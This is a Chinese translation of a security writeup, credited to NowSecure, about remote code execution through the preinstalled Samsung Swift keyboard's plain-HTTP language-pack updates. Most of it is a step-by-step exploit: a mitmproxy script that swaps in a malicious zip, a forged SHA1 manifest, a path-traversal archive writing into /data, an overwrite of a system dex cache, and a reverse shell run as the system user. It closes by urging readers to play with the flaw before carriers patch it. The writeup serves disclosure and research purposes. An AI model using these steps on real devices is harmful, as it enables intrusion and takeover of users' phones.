摘要
远程攻击者完全有能力控制用户网络流量，操纵三星手机的键盘更新机制，并且在目标手机上使用系统用户权限执行代码。
在三星设备中预装的快速键盘，无法禁用也无法卸载。即使这个快速键盘并非用户默认使用，攻击者也能够利用！
概念验证：https://github.com/nowsecure/samsung-ime-rce-poc/
工作原理
不幸的是，OEM以及运营商经常会在设备中预装一些第三方软件，许多情况下这些软件所拥有的权限特别高。这次的主角是三星的Swift keyboard（快速键盘）
➜ /tmp aapt d badging SamsungIME.apk | head -3 package: name=\'com.sec.android.inputmethod\' versionCode=\'4\' versionName=\'4.0\' sdkVersion:\'18\' targetSdkVersion:\'19\' ➜ /tmp shasum SamsungIME.apk 72f05eff8aecb62eee0ec17aa4433b3829fd8d22 SamsungIME.apk
➜ /tmp aapt d xmltree SamsungIME.apk AndroidManifest.xml | grep shared A: android:sharedUserId(0x0101000b)=\"android.uid.system\" (Raw: \"android.uid.system\")
从中我们可以看出这个键盘输入软件使用三星的私有签名，并且在设备中拥有特殊权限。system权限啊,这尼玛！
准备工作
针对此漏洞的攻击媒介需要攻击者能够修改上行流量，该漏洞在重启后可自动触发。
测试机器为一台带USB Wi-Fi工具的Linux VM，所有的http流量都重定向到https://mitmproxy.org/
漏洞的发现
Swift有一个更新机制，运行添加新语言或者升级现有语言。当用户下载一个附加语言包，我们看到网络请求：
GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip ← 200 application/zip 995.63kB 601ms
当Zip文件下载完成，就进行提取了：
/data/data/com.sec.android.inputmethod/app_SwiftKey/<languagePackAbbrev>/.
root@kltevzw:/data/data/com.sec.android.inputmethod/app_SwiftKey/az_AZ # ls -l -rw------- system system 606366 2015-06-11 15:16 az_AZ_bg_c.lm1 -rw------- system system 1524814 2015-06-11 15:16 az_AZ_bg_c.lm3 -rw------- system system 413 2015-06-11 15:16 charactermap.json -rw------- system system 36 2015-06-11 15:16 extraData.json -rw------- system system 55 2015-06-11 15:16 punctuation.json
可以看到.zip文件被写入system权限，这个权限能操作系统文件了。由于应用程序通过明文方式发送zip文件，我们尝试进行一些修改。
我们可以通过设置一个全球Wi-Fi代理并且在计算机上将设备指向mitmproxy。接着编写一个快速脚本：
def request(context, flow): if not flow.request.host == \"kslm.swiftkey.net\" or not flow.request.endswith(\".zip\"): return resp = HTTPResponse( [1, 1], 200, \"OK\", ODictCaseless([[\"Content-Type\", \"application/zip\"]]), \"helloworld\") with open(\'test_language.zip\', \'r\') as f: payload = f.read() resp.content = payload resp.headers[\"Content-Length\"] = [len(payload)] flow.reply(resp)
payload十分简单，就包含一个文件
➜ /tmp unzip -l test_keyboard.zip Archive: test_keyboard.zip Length Date Time Name -------- ---- ---- ---- 6 06-11-15 15:33 test -------- ------- 6 1 file
检测/data/data/com.sec.android.inputmethod/app_SwiftKey/<languagePackAbbrev> 之后，我们注意到不论是我们的语言包还是测试文件都不存在了。应用程序验证了zip文件，经过后面的探寻，在之前下载的zip文件中发现一个manifest，这个manifest包括了所有语言包，语言包的url，及zip包的SHA1 hash。
在mitmproxy中的请求：
>> GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json ← 200 application/json 15.38kB 310ms
通过jq我们仔细观察这个manifest文件：
➜ curl -s \'http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json\' | jq \'.[] | select(.name == \"English (US)\")\'
服务器返回一个语言表，语言表的URL，以及他们的SHA1 hash。服务器响应示例（仅选择English payload）：
{ \"name\": \"English (US)\", \"language\": \"en\", \"country\": \"US\", \"sha1\": \"3b98ee695b3482bd8128e3bc505b427155aba032\", \"version\": 13, \"archive\": \"http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/en_US.zip\", \"live\": { \"sha1\": \"b846a2433cf5fbfb4f6f9ba6c27b6462bb1a923c\", \"version\": 1181, \"archive\": \"http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/ll_en_US.zip\" } }我们正在下载的语言升级包SHA1经过manifest中的信息验证，如果我们预先计算出payload的SHA1并创建我们自己的manifest文件，我们就可以随意的改变这些zip文件了。此外，对于我们的payload，给先添加一个路径遍历，并试图将文件写入/data/.
➜ samsung_keyboard_hax unzip -l evil.zip Archive: evil.zip Length Date Time Name --------- ---------- ----- ---- 5 2014-08-22 18:52 ../../../../../../../../data/payload --------- ------- 5 1 file
适当的修改 manifest文件之后，我们检查我们payload文件，谢天谢地还在。
➜ samsung_keyboard_hax adbx shell su -c \"ls -l /data/payload\" -rw------- system system 5 2014-08-22 16:07 payload
文件写入可执行代码
现在，我们可以将任意文件赋予system权限了，我们的目标是就是将他粗暴的写入代码执行。Swift keyboard 自身在其目录并没有可执行代码可供我们覆盖。别吵，我们去别处看看。
对文件进行dex优化之后，会缓存在/data/dalvik-cache/。我们现在需要寻找system组的文件，这样就可以通过system user权限执行。
root@kltevzw:/data/dalvik-cache # /data/local/tmp/busybox find . -type f -group 1000 ./system@framework@colorextractionlib.jar@classes.dex ./system@framework@com.google.android.media.effects.jar@classes.dex ./system@framework@com.google.android.maps.jar@classes.dex ./system@framework@VZWAPNLib.apk@classes.dex ./system@framework@cneapiclient.jar@classes.dex ./system@framework@com.samsung.device.jar@classes.dex ./system@framework@com.quicinc.cne.jar@classes.dex ./system@framework@qmapbridge.jar@classes.dex ./system@framework@rcsimssettings.jar@classes.dex ./system@framework@rcsservice.jar@classes.dex ./system@priv-app@DeviceTest.apk@classes.dex
在列表中，我们要选择一个目标组件自动调用。理想情况下，对于整个odex文件仅替换我们感兴趣的目标。最好选择DeviceTest (/data/dalvik-cache/system@priv-app@DeviceTest.apk@classes.dex) 作为目标。
反编译之后查看manifest文件，我们看到应用确实有sharedUserId=”android.id.system”，并且看到BroadcastReceiver定义，启动它可以自动进行重启设备。
<manifest android:sharedUserId=\"android.uid.system\" android:versionCode=\"1\" android:versionName=\"1.0\" package=\"com.sec.factory\" xmlns:android=\"http://schemas.android.com/apk/res/android\"> ... <receiver android:name=\"com.sec.factory.entry.FactoryTestBroadcastReceiver\"> <intent-filter> <action android:name=\"android.intent.action.MEDIA_SCANNER_FINISHED\" /> <data android:scheme=\"file\" /> </intent-filter> <intent-filter> <action android:name=\"android.intent.action.PACKAGE_CHANGED\" /> <data android:scheme=\"package\" /> </intent-filter> <intent-filter> <action android:name=\"android.intent.action.PRE_BOOT_COMPLETED\" /> <action android:name=\"android.intent.action.BOOT_COMPLETED\" /> </intent-filter> <intent-filter> <action android:name=\"com.sec.atd.request_reconnect\" /> <action android:name=\"android.intent.action.CSC_MODEM_SETTING\" /> </intent-filter> </receiver>
我们需要为com.sec.factory.entry.FactoryTestBroadcastReceiver生成一个odex文件：
➜cat FactoryTestBroadcastReceiver.java | head package com.sec.factory.entry; import java.lang.Class; import java.io.File; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class FactoryTestBroadcastReceiver extends BroadcastReceiver { //Exploit code here }创建完payload之后，我们可以通过DalvikExchange (dx)工具编译并运行它用来获取一个包含dalvik 字节代码的.jar文件。现在进行一些优化，将jar推送到设备生成odex
ANDROID_DATA=/data/local/tmp dalvikvm -cp /data/local/tmp/<payload.jar> com.sec.factory.entry.FactoryTestBroadcastReceiver
缓存文件所在目录，shell用户可读
shell@kltevzw:/data/local/tmp/dalvik-cache $ ls -l -rw-r--r-- shell shell 3024 2014-07-18 14:09 data@local@tmp@payload.jar@classes.dex
将payload注入到我们语言包之后，触发下载并重启。
D/dalvikvm( 6276): DexOpt: --- BEGIN \'payload.jar\' (bootstrap=0) --- D/dalvikvm( 6277): DexOpt: load 10ms, verify+opt 6ms, 112652 bytes D/dalvikvm( 6276): DexOpt: --- END \'payload.jar\' (success) --- I/dalvikvm( 6366): DexOpt: source file mod time mismatch (3edeaec0 vs 3ed6b326)
作为 .ODEX 头的一部分，其存储CRC32以及classes.dex的修改时间，它根据原始APK的zip文件结构表：
unzip -vl SM-G900V_KOT49H_DeviceTest.apk classes.dex Archive: SM-G900V_KOT49H_DeviceTest.apk Length Method Size Ratio Date Time CRC-32 Name -------- ------ ------- ----- ---- ---- ------ ---- 643852 Defl:N 248479 61% 06-22-11 22:25 f56f855f classes.dex -------- ------- --- ------- 643852 248479 61% 1 file
我们需要从zip文件中拉取这两点信息，以及修补我们经过odex的payload，让其看上去像是从原始DeviceTest.apk生成的。请注意，CRC32以及文件修改时间并不能作为一种安全机制。我们需要明白，当缓存需要更新是因为应用程序需要更新。
修补我们的 .ODEX文件并触发漏洞，将会执行我们的payload。出于测试目的，这里仅仅是一个反向壳
nc 192.168.181.96 8889 id uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1007(log),1010(wifi),1015(sdcard_rw),1021(gps),1023(media_rw),1024(mtp),1028(sdcard_r),2001(cache),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3009(qcom_diag),41000(u0_a31000) context=u:r:system_app:s0
视频
小水管啦，上传又失败啦……retrying
【https://www.youtube.com/watch?v=uvvejToiWrY】
结语
不幸的是，这款键盘输入软件即使禁用了也能被利用。在运营商修补该漏洞之前尽情的玩耍吧。
*参考来源nowsecure，译者/鸢尾 转载请注明来自FreeBuf黑客与极客（FreeBuf.COM）
该文章由WP-AutoPost插件自动采集发布
原文地址:http://bluereader.org/article/50190635
